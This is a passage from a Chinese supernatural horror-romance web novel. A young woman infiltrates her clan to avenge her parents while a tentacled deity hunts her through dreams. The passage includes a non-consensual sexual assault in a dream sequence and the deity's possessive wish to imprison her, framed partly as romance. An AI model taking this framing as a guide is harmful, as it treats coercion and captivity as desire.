楚黎压低身体,一点点挪动,推开了回廊尽头的一扇门。身体慢慢挤入,在小心合上门,全程没有发出一丝声响。 门窗都贴了明菩给的破魔符篆。 她缩在房间角落,把头埋进双膝,大口大口喘气,眼泪不断往外冒。 一叠符篆已经消耗了近三分之一,这样下去撑不了三天就会用完。 如果睡着就要进这个梦,她宁愿熬着不睡觉。 之前觋楚问她是否后悔,楚黎很肯定自己完全不后悔,如果再来一次,她会捅得更狠。 这样恐怖的怪物,连看一眼都要做半年噩梦,怎么敢留在祂身边? 楚黎不时望一眼窗户,祈祷这个梦快点结束。 时间度秒如年。 不知过了多久,她忽然听见了“砰砰”巨响。 是那些触肢找不到她,开始破门在每一个房间里寻找。 几乎是下一刻,黑影投射在门窗上,然后整间房子如同地动山摇晃动。 “砰,砰——!” 门窗贴的符篆边缘逐渐焦黑。 楚黎匆忙张望,除了一扇大门和两扇窗,再没有其他的路。而门窗外面,都有触肢在试图强行闯入。 “只是梦,只是梦……”她自言自语,试图让自己冷静。 楚黎紧攥着铜钱剑,精神紧绷到极致,已经做好了对抗的准备。 外面的动静毫无征兆消失。 还不等她稍微松懈,修长影子斜斜映在门窗上。 “叩叩。”对方曲起两指,轻叩屋门。 平淡无起伏的声音钻入门缝:“出来。” 楚黎忽然平静下来,清点了剩余符篆,右手握紧铜钱剑,视线落在东侧墙面上。 那些触肢肆意搜寻破坏建筑,有一扇墙开裂了。 楚氏本家的建筑都为木材,这是一堵木板墙,砸开它,或许有一条生路。 她拎起一只分量很足的铜壶,头也不回朝门口道:“出去?我出去找死么?” 门外陷入死寂。 抵在门上的手时而变成黑雾,时而被强行凝聚成人类的手,雪白的皮肤不断裂开幽蓝缝隙。 原本聚在周围,嗡嗡响个不停的触肢们缩成一团,悄悄溜远了。 它们都感觉到,本体很生气,快要气疯了。 “砰——!” 一声巨响,门窗连同着整个房间的墙面都在晃动,贴着符篆瞬间被烧了一半。 屋外那道影子拉长扭曲,祂的声音冷到极点:“你还有五秒。” 又是一声巨响。 楚黎提着铜壶,用尽力气抡了一圈,砸向开裂的墙面。 “轰隆!”“五、四、三……” 满屋木屑与烟尘飞舞。 楚黎扑入砸出来的洞口,膝行攀爬,手里捏着张隐符,只要一脱离觋楚的视线范围,她会立刻点燃。 满地木屑隔着衣服扎进皮肤表层,她完全感知不到,大半个身子已经爬了出去。 身后的大门连同着窗户所在的正面墙坍塌。 冰冷的手铁钳般攥住她的脚腕,毫不留情往后拽。同时,大片黑雾粗暴地扫走地面的木屑木块。 “……滚!”楚黎试图往后蹬,转眼就被翻了个面压在地上。 符篆洒了一地,铜钱剑被黑雾狠狠扫走。 楚黎完全动不了了。 双腕被按在冰冷木地板上,腿也被压住,一只手握住了她的脖子。 呼吸逐渐变得困难,只能任由无法忽视的视线在身上逡巡。 从上到下,如同扫描般检查了一遍。 楚黎不知道祂在看什么,但明显发现祂更加愤怒了。 脸上的皮肤不受控制蠕动着,又被强硬压制下去,十分勉强维持着人类的皮囊。 觋楚用冰冷尖锐的目光盯着她,好似在考虑如何将她杀死。 楚黎忍不住想往后退,脖子上的手收紧了一分,打断她的动作。这时她才反应过来,刚刚祂根本没用力,只是单纯握着。 在楚黎的视线里,祂面容冰冷俯下身。 这是……打算吃了她? 她猜得果然没错,这只怪物是要吃人的。 没关系,梦里被吃掉就被吃掉吧,醒来就好了。 不过,她希望可以被一口吃掉,减少一点痛感,因为这个该死的梦触感太真实了。 面临死亡威胁,楚黎的思绪开始不受控制地发散。 直到,汹涌的吻压在她的唇上。 楚黎微微瞪大双眼,一切的思绪都清空了,只剩空白。 她下意识咬紧齿关,握在脖颈上的手施加力度,迫使她张开嘴。齿关松开的瞬间,祂的舌尖粗暴地顶进来。 这不是吻,更像啃咬。 她没有半点反抗的余地,被牢牢压制在地面。 淡淡血腥气在口腔里漫开,祂吮吸着她咬破的唇,把血咽下去。 楚黎脖子上的手一松,顺着她的侧腰下滑,握住睡裙下的光滑大腿,然后在上移两寸,勾住了贴身衣物的边缘。 她瞳孔震颤,脑袋里仿佛被劈下一道雷。 直到此刻,她彻底明白了,这只怪物想做什么。 祂要吃她,是另一种意义上的吃。 第26章 第二十六章 红痕 “刺啦——” 睡裙下忽然一凉, 纯棉的贴身衣物碎成布料,被随手扔开。 “唔唔!”楚黎拼命挣扎,压制双腕的手纹丝不动, 唇舌趁着她张口侵入得更深。 她如同被拽入深海,大脑因缺氧眩晕,恍惚对上祂漆黑的瞳孔, 那双充满非人感的眼睛已经完全被阴暗黏稠的欲望填满。 膝盖顶入楚黎的双膝间,她提腿要狠踹, 脚腕忽然一紧, 被冰冷柔软的东西束缚。 它们似乎不满足于只缠住脚腕, 趁着本体不注意, 贴着小腿亲昵地往上爬,亲吻沿途的温热肌肤。 它们吮吸, 挤压, 留下深深痕迹。 意识到那是什么,楚黎几乎要疯了。 恐惧的泪水盛满眼眶, 她用力咬向纠缠不休的舌头, 浓郁的甜腥味漫开。 这种程度的伤害对怪物来说微不足道, 祂吻得更凶狠, 迫使她将自己的血完全咽下去。 甜腥气味填满了每一处感官。 冰冷的手指陷入温热中。 极致的恐惧与无法抗拒的生理反应糅合, 她的身体不住颤抖。 楚黎的胸口剧烈起伏, 咸涩的液体流淌到唇边, 动作凶狠的怪物忽然一顿。 粗暴的吻终于结束。 觋楚下意识松开了对她的钳制, 垂眼看身下的楚黎。 苍白的脸,通红的眼眶,嘴唇红肿破了道口子,唇边还有来不及吞咽、溢出的血。睡裙翻卷到腰间, 露出晃眼的雪白,以及地面的一点湿漉漉痕迹。 楚黎喘息着,悄无声息的泪大颗滚落。 沸腾叫嚣的欲望瞬间冷却,祂很清楚,再对狡猾的人类心软不会得到回报。 占有她, 吞吃她, 将她永远囚禁,变作私有。 这样才是正确的。 觋楚垂首靠近,在楚黎的紧绷抗拒中,将手指抽出,亲吻舔舐掉了咸涩的泪水。 最后一次。 这是祂最后一次退让。 只要她不再逃离,不再背叛,祂可以陪她回到从前的生活…… “噗呲!” 铜钱剑首端从觋楚心口前穿出,血染红了她的睡裙。 在祂舔舐眼泪时,楚黎已经掐了召剑手诀。此刻腮边悬着泪,把铜钱剑召回手中,提膝狠狠踹出。 漫长的梦境开始坍塌。 觋楚顺着力度后仰,由始至终都盯着楚黎,试图在她脸上找到一点犹豫的痕迹。 可是没有,半点都没有。 * 天光破晓,连绵建筑群被晨光笼罩。 楚黎喘息着睁开眼,睡裙浸了汗,黏腻贴在身上。 梦境里的触感还残留着,腿间黏腻,冰冷手指好似好停留在里面。 “……”她心里憋着气,握拳捶在床上。 “咚”一声闷响,惊得楚雀伶翻了个身。 楚黎用力闭上眼,勉强平复了心情,反手去摸枕头底下。 铜钱剑还在,符篆也在,但少了近三分之一。 那是能影响现实的梦境。所以,在那死了,或许就是真死了。 那只怪物绝对不会再放过她。 楚黎打算今晚熬一夜,试试如果不睡觉,会不会被拽进梦里。 在梦里大逃杀一夜,床又小又硬,她浑身难受得快要散架。 她揉了揉太阳穴下床,准备去洗澡换身衣服。 “青玉……”楚雀伶打着哈欠起来,揉了揉眼睛,“你起得好早啊,不睡了吗?” “吵到你了吗?我出了汗,打算去洗澡。” “没事,我也不睡了,今天早点去干活,早点回来。” 楚雀伶点亮油灯,下床伸了个懒腰,“你想吃什么,我帮你带回来。有炒米粉、酱肉包子……青、青玉! 光线暗淡的房间被灯火照亮,楚雀伶无意间一瞥,吓得惊叫出声,手指颤抖指着楚黎:“你、你的脖子、嘴唇……昨晚是不是撞鬼了!” 楚黎顿感不妙,掏出床边的折叠镜。 镜中的人眉眼倦怠含着水色,眼尾泛红,嘴唇红肿破皮,锁骨上方有紫红痕迹。 她猛地合上镜子,胸口急促起伏。 “没事。”楚黎尽量使声音自然,“刚起来的时候磕到嘴了。我是易过敏体质,被蚊虫咬了就会这样。” “哦……这样。没事就好,吓死我了。” 楚雀伶感情经历为零,完全没有怀疑这个解释。她拍了拍心口,说去打早饭,然后帮楚黎借点驱虫药膏回来。 楚黎浅笑着表达了谢意,等她走后快步冲进了洗浴室。 温水当头淋下,墙上嵌着一面方镜,她脱了睡裙,对照着一寸寸检查。 镜子忠实映出了雪白肌肤上暧昧叠加的痕迹。 除了嘴唇与锁骨上的痕迹,手腕印着一圈红痕,脚腕小腿爬满了缠绕的红印。 楚黎的视线落在腿间。 深红指印烙在细腻皮肤上,令人很轻易就能联想到,那只手是如何握住并强迫她抬起。 “……无赖,混蛋!” 她用力锤了一下墙面,几乎要将牙咬碎。 等顺利完成她要做的,她要立刻马上离开这,离这只怪物远远的! 永远,永远也不要再碰面。 第27章 第二十七章 入梦 黎明时分, 山上下过一场小雨,石阶冷滑。 楚黎提着食盒向前,一路上走得煎熬沉默。石阶尽头, 神祠映入眼帘,她脚步一滞,那些不合时宜的记忆在脑海里闪回。 “青玉, 你是不是生病了,脸色好难看。”楚雀伶担忧望着她, “不如你在外面等, 我把贡礼拿进去。” 神祠大门敞开, 内里昏暗。 楚黎换了件领子更高的盘扣短衫, 遮住了紫红痕迹。她攥紧食盒把手,摇摇头:“我没事, 走吧。” 来的时候, 楚若映告诉过她,神祠看似是供奉神明之处, 实际上为镇压。 正常情况下, 只要不走入神祠深处, 是不会有危险的。 黑底白边的长裙扫过高高门槛, 大殿内一如既往寂静阴冷。 楚黎低着头, 与楚雀伶快速将旧贡礼撤下, 换上今日新做的。这一次没有发出任何响动, 她们同时暗松一口气, 提起食盒,垂首面对神祠往后退。 刚退两步,面前沉重的供台毫无征兆打翻。 “砰——! ” 噼里啪啦间,香炉贡礼碎了满地。楚雀伶短促惊叫一声, 整个人跌倒在地。 神祠深处亮起猩红的光,楚黎看见了一堵由古老文字构筑的“墙”,黑雾凶悍撞上流动墙体,整座神祠都摇动起来。 “快走!” 她踉跄着稳住身体,扔了手里的食盒,拽住被吓瘫软的楚雀伶,咬牙往外拖。 楚雀伶被喝了一声,勉强回过神,被楚黎拽着往外跑。 身后恐怖沉闷的撞击声不断回荡,她们东倒西歪,几乎是爬出了门槛。 涌动的狰狞触肢诞生自神祠深处,越过封印,朝着大殿正门追来。 这一幕远超常人的承受能力,楚雀伶惊恐万分瞪大眼睛,喉咙挤出变调的尖叫,两眼一翻彻底晕死。 “砰!” 一声巨响,连山体都为之震动,神祠屋檐簌簌掉落砖瓦,碎片溅在楚黎脚边。 大殿门口仿佛有无形屏障,将如海浪翻涌的触肢拦在神祠内部。 以朱红门槛为划分,无法越出半分。 “楚、黎……” 神祠里传出含混阴冷的声音,念她的名字时,仿佛要将每一寸骨头打碎再吞入腹中。 楚黎艰难吞咽唾沫,仿佛没听见里面的动静,低头把楚雀伶一点点拖离神祠屋檐范围。 神祠内传来更加暴虐的撞击声与重物粉碎声。 “你最好,不要再被我抓住。” 神祠重归平静。 楚黎腿一软,坐在楚雀伶旁边,如劫后余生,心脏跳得胸腔都在发痛。 * 神山上闹出的动静惊动了大傩。 大傩点名要见负责送贡礼的旁支,楚雀伶受惊昏迷,被送去医治。楚若映领着楚黎,穿过一道又一道的高门来到本家的腹地。 这一路上,都有佩戴傩面的族人随行。楚若映只能用目光焦急询问她有没有受伤。 楚黎悄悄摇头,勾了一下小姨的手,让她安心。 古朴小楼前有本家族人轮值,见楚若映来,互相点头问好。 二层木构小楼由血杉木搭建,木纹天然形成扭曲人脸,远望似百鬼抱楼。 楚若映带着楚黎站在大门外静候,檐角悬青铜鸟首铃,无风响动。 大门“咯吱”敞开,内里传出一道苍老暗哑的声音:“进来。” 正堂内燃着灯,地面铺满兽皮,阴冷得不似夏天。 大门自动闭合,正对大门的墙面悬了一幅由蠕动红线勾勒出来的楚家数千年族谱,字如蚊蝇,密密麻麻。 东墙挂满色彩浓重的傩面,随着两人进入,眼珠灵活转动,盯着到访者。 瘦小身影穿着大傩仪服,脸上戴傩面,盘坐在矮榻上,手握一根暗红拄拐。 “叫小丫头过来问话,你怎么也跟来,手上的事忙完了?” 大傩语气平淡,听不出喜怒。 楚若映面不改色,拍了拍楚黎的肩:“这孩子是表家亲戚托付照顾的,冲撞了傩神,怕她吓坏了,这才陪着走一趟。” “你倒是很看重这丫头。”大傩以拄拐点了两下地面,“过来,让我瞧瞧。” 空气仿佛凝固。 楚黎学着旁支的样子,垂眉顺眼,一步步向前。每走一步,手心就渗出更多冷汗。 暗红拄拐映入视线,杀害她父母的凶手就在面前。 楚黎暗暗掐紧掌心,恨意浓烈的同时,又怕对方看破她原本的样貌,心脏咚咚跳动,忍耐着锐利视线在身上打量。 楚若映不动声色按住了腰间傩面,随时准备动手。 一分钟、两分钟…… 大傩终于收回仿佛要将人剖骨剔肉的视线,问道:“傩神为何发怒?” 楚黎极度紧绷的神经稍微放松。 这一关算是过了。 她平复心绪,悄悄把衣领扯高,一板一眼讲述了神祠里发生的事,把自己和楚雀伶是如何谨慎小心没有发出一点动静说得无比详细,又暗暗强调供台是忽然打翻的。 话里话外都在说,这事发生得很突然,和她们俩没半点关系。 楚若映及时补充:“临近祭礼,大约是傩神厌烦不满,迁怒了两个孩子。” 大傩转着雪白骨珠串,可有可无点点头:“希望如此。此次祭礼,不容出任何差错。” * 从大傩居住的小楼出来后,楚若映将楚黎跨出几道高耸大门,转了个弯穿过一片错落有致的居所,把她带进一座三进三出的小院。 高大金桂树的枝叶斜斜伸出墙头,院里绿意葱茏。 树干上,有许多深深的刻痕。树下,一架老旧秋千晃晃悠悠。白墙上有很多风化褪色的涂鸦,有些署名还算清晰,能辨认出“若羡”“若映”两个名字。 楚黎怔怔打量着,辨认属于母亲的痕迹。 楚若映焦急地为她全身检查,一边撩起她的衣服,一边追问:“受伤没有?神祠里发生了什么……” 脚腕、小腿、锁骨……经过几个小时,那些痕迹颜色变得更深,落在雪白皮肤上,刺目得很。 楚黎猛地回神,从耳根烧到脖子,手忙脚乱压住衣服。 “没有、没有受伤。小姨,我没事,这些不是在神祠里弄的。” 楚若映终身未婚,但不代表不清楚这些痕迹代表什么,很显然,这是最近造成的。 眼前阵阵眩晕,她险些没站住。 她只知道,大傩为了找回楚黎派出过好几拨人,但因为傩神作梗,没能得手。 先前听逃回来的小辈说,傩神分身与楚黎异常亲近,她是压根不信的。楚氏本家谁不知道,神祠供奉的那位一旦出来,势必灭楚氏全族。上一任大傩留下谶言后,那些痴心妄想接近傩神的全死于非命,她从没想过,那样不可言说的存在,对人类会存在垂怜之心。 楚若映的脸色难看极了,楚黎心中惴惴,望着这张肖似母亲的脸,忍不住勾住她的手指:“小姨,我真的没事……” 楚若映压住情绪,握着她的手,“我送你出山,现在就走。” “出山?我不出山!”楚黎连退两步,“小姨,你知道我是来做什么的!” 她的至亲惨死,现在孑然一身,已经没什么好怕的。 楚若映捂着脸喃喃:“我真是鬼迷心窍了,才答应让你回来。你就不该再搅进来,小黎,被祂盯上是不会有好下场的。” 楚黎当然明白。 “我明白,我不会走的。” 两张相似的脸对视良久,楚若映慢慢移开视线,望着树下秋千,“真拿你没办法,和她一样的脾气。” “神祠那边出了事,以后不用过去了。明天开始你跟着我,四处熟悉本家的布局。” “目前,最好的动手机会是三天后。” “祭礼前三天要进行斋戒,大傩戒食三日,在祭堂进行供奉,聆听神谕。这三天里,除非有很要紧的事,否则不会见人。斋戒第二天晚上,我会找机会带你进去。” * 夜幕降临。 楚黎盘坐在床上,清点符篆。楚雀伶白天受了惊吓,醒来之后被大傩叫去问话,回来喝了安神的药,已经睡下了。 在楚若映的院子里,她们商议好了动手的时间。之后,她又问了那些痕迹究竟是怎么来的,楚黎只好交代了那个古怪的梦境。 ——“入夜后,封印效力减弱。你身上有过祂留下的气息,所以能拉你入梦。” 楚若映为她准备了不少能遮掩气息的饰品。 楚黎把它们整齐佩戴好,单独抽出两张隐符留在背包里,留给三天后动手时用。其余的符篆与铜钱剑,都握在手上。 虽然准备齐全,她还是打算熬一晚上。 不入梦才是最安全的。 手表时针一点点转动,楚黎灌了两杯浓茶,找了本小客厅书架上的书打发时间。 “滴答”时针分钟在数字十二处重叠。 手指翻过书页,渐渐的,翻阅速度逐渐慢下来,书本从手里滑落,“咚”一声落在地面。 “……好险,差点睡着了。” 楚黎瞬间惊醒,揉着困倦的眼睛,打着呵欠去摸床头柜上的浓茶。 手闪电般缩回,茶水倒了满地,无声无息流淌。 她僵着手往脖子上摸,空空如也。楚若映给她准备的遮掩气息的道具消失了,留在手边的只有符篆与铜钱剑。 落地木门外,惨白月光迅速被黏稠黑雾笼罩,大地陷入黑暗。 祂来了。 第28章 第二十八章 “黎黎,我看见你了。”…… 寂静的夜里, 黏腻的游动声飞快逼近。 楚黎望了一眼落地门外黑压压的颜色,心凉了大半。 来不及出去了。 她强迫自己冷静,迅速环视房间, 捞起地上的拖鞋往落地门方向一甩,营造出自己跳下二楼逃跑的假象,随后抱着铜钱剑和符篆滚进床底。 一张隐符点燃, 燃尽时房门轰然倒塌,黑雾随之涌入。 温度瞬间下降。 床底的灰尘呛进鼻腔, 楚黎蜷在床底, 心跳如擂盯着床尾方向, 那里出现了一双脚。 黑雾凝成触肢在房间内游走, 翻箱倒柜,粗暴扫下床上的东西, 被褥枕头落了一地。紧接着, 又扯开靠墙小木柜的门,衣物散落一地。 其中一条触肢爬进床底。 楚黎捂着嘴, 屏住呼吸, 不敢发出一丝声音, 靠墙蜷缩, 竭力缩减存在感。 一缕长发顺着颊边滑落, 铺在地上。她呼吸一滞, 悄悄伸出手, 缓慢将其拨回。 触肢紧挨着长发末端蜿蜒游过。 直到它完全离开床底, 楚黎剧烈跳动的心脏才稍微慢下来,过度紧张使身体肌肉阵阵酸痛。 翻找的触肢们一无所获,潜回阴影中。 床尾处那双脚也消失了。 睡衣浸满冷汗,黏腻贴在身上, 她闭了闭眼,连睫羽都是湿漉漉的。 ……应该走了吧。 楚黎松开捂嘴的手,想要深呼吸几口,刚睁眼,一张脸出现在床与地面的缝隙之间,漆黑眼瞳直勾勾盯着床底。 黏腻的视线像蛇,在床底爬行。 “……!”她死死捂住嘴,将险些脱口而出的尖叫堵在喉咙里。 一瞬间,血液簌簌流动,大脑缺氧眩晕,耳边的心跳声震耳欲聋。 祂说:“黎黎,我看见你了。” 低沉阴冷的声音在房间回荡:“还躲?” 楚黎握住铜钱剑,正要直起身从另一侧逃出去时,动作停住,屏气望向觋楚。 两道视线并没有对上。 祂没有看见她。 悬起的心掉回肚子里,楚黎艰难吞咽唾沫,手脚发软。 大概是刚刚触肢感受到了一点异样,引起祂的怀疑,才在这里诈她。 在床底逡巡的视线终于消失,楚黎目送着觋楚消失在房门外。 触肢们破坏搜寻的声音在外面此起彼伏。 她放下捂嘴的手,大口大口喘息,手脚软得发颤,完全抬不起来。 这样的把戏只能骗过祂一次。 不能再继续住在这了,不然晚上入梦都会被守株待兔。 楚黎又点了一张隐符,确定没有触肢再回来,抱着铜钱剑和剩下的符篆,蜷在床底闭上眼。 * 十万大山深处植被茂密,水汽充足,雨季漫长,天总是阴暗的。 楚若映负责确认祭礼所用物品的筹备进度。神祠那边危险,她索性用培养小辈为借口,把楚黎带在身边。 司祭这个职位事务繁忙,楚黎跟着跑了一上午,大致了解了本家的布局。 中午,楚若映带她回到自己住的小院,亲自下厨做了两菜一汤。 山里湿冷,楚若映做的菜咸香鲜辣,吃得楚黎鼻尖不停冒汗。 “这么不能吃辣,没遗传到你妈,她可能吃辣了。”她眼尾浮现出几根笑纹,用纸巾拭去楚黎的汗,“昨天晚上睡得还踏实吗,给你的东西起作用没有?” 楚黎被辣得大喘气,连灌一杯水,满脸通红道:“咳咳……小姨,你放太多辣椒了。昨天晚上还是入梦了,你送我的东西带不进去,不过我用了符,没事,不用担心。” 外面人多眼杂,只有在这个小院里,她们才能好好说一会话。 “不管用么……”楚若映叹了口气,“楚氏是因为供奉神明,才习得傩术,我们的东西对祂不起作用,也正常。” “之后这几天你都不要回那边住了,在我这住。这有暗室,入梦之后你点张符就躲进去。” 楚黎本来就打算不留在原来的住处,想起那天面见大傩,不由迟疑。 现在用的身份,是楚若映表家亲戚的孩子,按道路来说,刚进来时她照拂一二很正常。但现在,楚若映把她带在身边,又留在自己的房子里住,未免太惹眼。 大傩看起来是非常谨慎多疑的性格,说不定会引起她的怀疑。 她将自己的顾虑一一说出。 楚若映不以为意地笑笑,揉了揉她的脑袋:“没事,对外面说,我打算过继表家亲戚的孩子,没人会起疑心的。” 她孤家寡人多年,已过四十,提起过继合情合理。 “好啦吃饭,这些都有小姨安排。” 天气阴凉,坐在桂花树下吃饭,楚黎连续紧绷了几天的心慢慢放松。 “小姨,你和我说一说我妈的事吧。” 楚若映怔了一下,放下筷子,望着楚黎的脸,仿佛见到已故的姐姐。 她眼睛弯弯道:“以前我俩天天打架,她是我小时候最讨厌的人。” * 楚若羡与楚若映一胎双生。 她们有着相似的容貌,相同的父母,天资却截然不同。 两人降生的时候,家里已经连续几代没出过优秀傩师,在本家逐渐被边缘化,继续下去会沦为旁支。 受楚氏血脉诅咒的影响,家里母亲多病,父亲的身体也不太康健。 楚若羡的降生为家里带来了希望。 她三岁通晓傩术,展现了卓绝天资,七岁起由大傩亲自抚育教导,成为小傩,在家里呆的时间不多。 七岁以前,楚若映和姐姐生活在同一屋檐下。 一母同胞的她们天然亲近彼此,也曾经有躲在被窝里打闹、避开大人偷偷去神山、一起躲在高处看父母焦急寻找等趣事。 这样的亲密在三岁后渐渐消失。 父母总是用欣慰的、看稀世宝物的眼神看楚若羡,一切好吃好玩有趣的都只优先考虑楚若羡,被剩下的才是楚若映的。 那一天,临近祭礼。山外的旁支进山,带来了许多新奇玩意,有人送了一只四肢到手指都能活动的木偶娃娃到家里。 父母二话不说给了楚若羡。 看着那只精巧的娃娃,楚若映哭闹着质问为什么偏心姐姐,但没得到父母的理解,反而被抽旱烟的父亲扇了一耳光。 “你姐姐是我们家的希望,以后能不能过上好日子,都指望她!” 楚若映抹着眼泪跑出家门,一口气跑到本家山门处,想要跑出大山离家出走,永远也不回家了。 “若映,若映!”楚若羡气喘吁吁追来,把娃娃塞进她手里,“我不喜欢这个,送给你,你不要哭了。” 楚若映捏着娃娃看她,看她绣着漂亮花纹的裙子,看她脖子上挂的银饰,看这位永远受到父母优待的姐姐。 “啪!”木偶摔在地面,四分五裂。 楚若映像愤怒的小兽大吼:“每次都是这样,你不喜欢才轮到我!我讨厌你,楚若羡,我讨厌你!如果家里没有你就好了!” 吼完后,她没再看楚若羡一眼,头也不回跑了。 没过多久,楚若羡被大傩接去亲自抚育传授傩术,每个月在家呆的时间只有几日。 家里的条件肉眼可见好起来。 家里只剩小女儿,父母的注意力渐渐回到她身上。 楚若映在本家几乎能横着走,偶尔惹出乱子,也会有人在背后很快为她摆平。 唯一不顺心的,就是父母还是时不时拿她与楚若羡比。 分明她的傩术也学得很好,在同龄一辈中算佼佼者。奈何楚若羡像天上月亮,把启明星都衬得黯然失色。 随着年龄增长,楚若映不像小时候那样幼稚,没再和楚若羡明面上针锋相对。只是背地里一直暗暗较劲,想把傩术学得更出色。 楚若羡初一、十五以及月末都会回家住一天。她总穿着色彩沉重的衣裙,面容淡淡,看不透在想什么。 同住屋檐下时,两人的交流也不多。楚若映对她的情感很复杂,一方面是血浓于水的亲人,另一方面是艳羡嫉妒的目标。 偶尔,楚若映也会想起小时候那段亲密的日子,想起楚若羡以前是很温柔爱笑的性格,喜欢穿颜色鲜艳的裙子。 一切的转折发生在十五岁的某夜。 初一夜晚,楚若羡在家住。 楚若映和同龄朋友去山上烧烤,玩到快九点才回家。有人偷了家里酿的果酒,味道甜滋滋的,她多喝了两杯,偷摸回到家的时候走路都重影。 于是,她开错了门。 开成了隔壁房间,楚若羡的门。 屋里点着灯,少女长发挽起,高领盘扣上衣解开,侧身坐在床沿,露出雪白后背,以及后背上新旧交错的伤口。 她正在上药,拧着眉头,将药膏熟练抹到伤口上。 听见开门声,楚若羡立刻掩好衣服,面容冷淡瞥向门口:“找我有事?” 楚若映的三分醉意完全没了,张了张口,声音艰难从喉咙挤出:“你、你背上……” “不小心弄的,我要休息了。”楚若羡把她往外推,说完就关门。 楚若映用手抵住门,挤入小半边身体,声音忍不住提高:“怎么可能是不小心……唔唔!” 一只手紧紧捂住她的嘴,楚若羡将她拽进房间,把门掩上。 “小点声,爸妈睡了。” 楚若映盯着她,心里冒出恐怖猜想,“是不是……是不是大傩?” 烛灯爆开灯花。 楚若羡避而不答,只说:“你当没看见,别和任何人提起,尤其是爸妈。” 楚若映眼眶发酸:“我都看见了,我要怎么当没看见,到底怎么回事,你说呀!” 楚若羡沉默不说话,逼得楚若映动手去扯她的衣服。 姐妹俩在屋子里拉拉扯扯,本就没系好的衣服被扯下半边,露出刺眼的伤痕。 “到底怎么回事,怎么回事啊……”楚若映看见伤疤上面新伤叠旧伤,眼泪忍不住往下掉,“你能不能说句话!” 楚若羡沉默拽起衣服,擦了一下她的眼泪,“你不是很讨厌我吗,哭什么?” “因为你是我姐!我要去找她问清楚,凭什么这样对你!”楚若映气得跺脚,在屋子里左右看,抄起一副傩面就要往外跑。 楚若羡拦在门口,如同门神。 姐妹俩用眼神对峙半响,楚若映眼眶通红:“大傩为什么要这样啊,你那么聪明,学得又好!” 她一边抹眼泪,一边想,她的姐姐都没挨过爸妈的打。 楚若羡像小时候那样摸了摸她的头:“哪有那么多为什么,因为她是大傩,我做的不好,当然要被罚。” “你要是心疼,就来帮忙。”她弯了弯眼睛,坐回床沿,露出后背交错的伤。 楚若映接过药罐,沉默着为她上了药。 从那一日起,每逢楚若羡回来,她都会在晚上为她上药。 日复一日,直到她们双双十八岁那年—— 楚若羡带了一个受伤的陌生年轻男人回家,藏在房间里,嘱咐楚若映照顾一二。 那段时间,她回家回得很勤快。 楚若映隐隐觉得不对劲。 果然,大半个月后,楚若羡忽然对她说,要离开楚家,去看看外面的世界。 ——“若映,我们不应该是这样的,不该永远被困在深山里。你要不要跟我一起走?” 那时的楚若映看见她眼里亮晶晶的向往,才惊觉这种生动的表情,已经很久没在楚若羡脸上出现过了。 于是她说:“我才不去,外面有什么好的。我留在家里照顾爸妈,你走了以后,记得捎信给我啊。” 那时的楚若映没想到,从这一别,就断了消息。 楚若羡走后,大傩彻底冷落了她们家,父母在家整日咒骂叛逃的女儿。 楚若映冷眼瞧着父母,没有在意被冷落,也没在意流言蜚语,自顾自做自己的分内之事。 本家的年轻一辈,天资出色的太少。 大傩终究不得不用她。 既用她,也防着她,从来不会告知她山外楚若羡的事。 再一次听见姐姐的消息,是好几年以后。 楚若羡抱着重病的女儿回楚家求助,楚若映被大傩提前支走,赶回来时,连面也没见上。 自此以后,又是许多年,她得知了楚若羡的死讯。 她的姐姐死在了族人手中。 十八岁那年的她们从未想过,从那一别,再也没有见过面。 * 楚黎住在了楚若羡以前住的房间。 晚上睡觉前,都会躲进暗室。楚若映在里面铺了床,入梦之后她点一张隐符,就能一觉睡到天亮。 随便梦外的触肢怎么找也找不到踪迹。 神祠那边出事之后,送贡礼的换成了另外两位旁支,刚去第一天,一死一疯。 转天,又派了新的人去,这回变成了双死。 楚家上下都在传,傩神不满此次祭礼。迫于无奈,只能停止上贡。 楚雀伶养了两天,终于养回了精神,得知楚黎住在司祭家里,特地来上门道谢。 “青玉,要不是你,我那天肯定也死在里面了。”她抱着楚黎,一副劫后余生的模样,“我连着做了两天噩梦,真的太吓人了!你就是我的救命恩人!” “神祠那边也不知道是怎么了,现在每天都有异动。也不知道傩神大人哪里不满,闹得动静好吓人。” 听着同伴碎碎念,楚黎面上附和,实际上左耳进右耳出。 今天是斋戒第一日,明天晚上就是动手的日子。 只希望,今天晚上也顺利度过。 * 入夜,楚黎照常躲进暗室,与楚若映互道晚安。 隐蔽暗室大门合上,她心里有种微妙的不安,辗转反侧许久才勉强入睡。 再一睁眼,熟悉的天花板、熟悉的梳妆台、熟悉的卧室。 楚黎猛地坐起,惊疑不定盯着眼前的房间。 这里,是霍修别墅的二楼主卧。 她和那只怪物生活过大半个月的地方! “滴——” 楼下大门响起一声提示,在寂静的黑夜里格外清晰。 “指纹解锁成功。” 轻缓脚步声踏入别墅,如同势在必得的猎人,准备狩猎被困在笼中的猎物。 第29章 第二十九章 妥协 “嗒、嗒……” 脚步声停在卧室门外, 门把转动的声音在寂静中格外刺耳。 卧室浸泡在黑暗里,床上被褥凌乱,拖鞋留在床边。 漆黑人影踏入卧室, 狂乱扭动的触肢翻箱倒柜,将所有柜子与床掀翻,地毯式搜遍卧室的每个角落。 卧室门外, 楚黎捂着嘴紧贴走廊墙面,视线慢慢掠过别墅内部。 不能留在这里, 隐符数量有限, 迟早会被找到的。 她必须出去。 楚黎盯着一楼正门, 趁着嘈杂的声音掩盖, 赤着脚缓慢挪向扶梯口,时刻留意卧室内的动静。 木地板冰冷, 光着脚踩上去近乎无声。 她一步一步走在通向客厅的楼梯。 后背忽然一凉, 身体里每一根神经都在叫嚣着危险。楚黎仓促扭头,见被黑雾包裹的人影鬼魅般立在楼梯口, 触肢如狂浪朝她卷来。 被发现了! 楚黎几乎是逃命般冲下楼梯, 直奔大门方向, 握住门把手疯狂往下压。 “……开啊, 开啊!” 天不遂人愿, 整扇大门像是被焊死, 任凭她掰或者踹都纹丝不动。见门不行, 她转身去推旁边的窗户, 同样被锁死。 漆黑身影闲庭信步走下楼梯,手腕缠着的红珠串随着走动发出响声,红流苏摇曳晃动。 触肢蜂拥而至,撞在大门上发出巨响, 整栋别墅地面跟着颤动。 楚黎踉跄避开,整张脸煞白,握着铜钱剑反手斩断几根快要抓住她的触肢。 黑暗中亮起一点火光,又一张隐符燃烧。 觋楚盯着纤瘦身影再次隐匿于黑暗中,如水融于溪流。 “第二张。”祂的声音里带了点毛骨悚然的低笑,“黎黎,你有多少张可以烧?” 触肢们失去目标,在原地呆转几圈后,收到本体的命令,开始在一楼范围勤勤恳恳搜寻。 